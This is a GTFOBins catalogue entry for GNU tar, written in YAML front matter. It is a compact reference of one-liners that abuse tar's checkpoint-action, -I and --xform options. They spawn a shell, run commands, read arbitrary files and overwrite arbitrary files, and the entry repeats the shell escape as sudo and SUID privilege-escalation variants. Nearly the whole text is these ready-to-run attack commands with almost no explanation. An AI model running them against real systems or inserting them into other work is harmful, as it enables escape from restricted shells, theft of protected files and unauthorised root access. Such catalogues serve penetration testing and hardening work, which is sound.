GTFOBins.github.io/_gtfobins/tar.md
2018-10-05 18:55:38 +01:00

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---
functions:
shell:
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
command:
- description: This only works for GNU tar.
code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
file-write:
- description: This only works for GNU tar.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
file-read:
- description: This only works for GNU tar.
code: |
LFILE=file_to_read
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
sudo:
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
limited-suid:
- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
---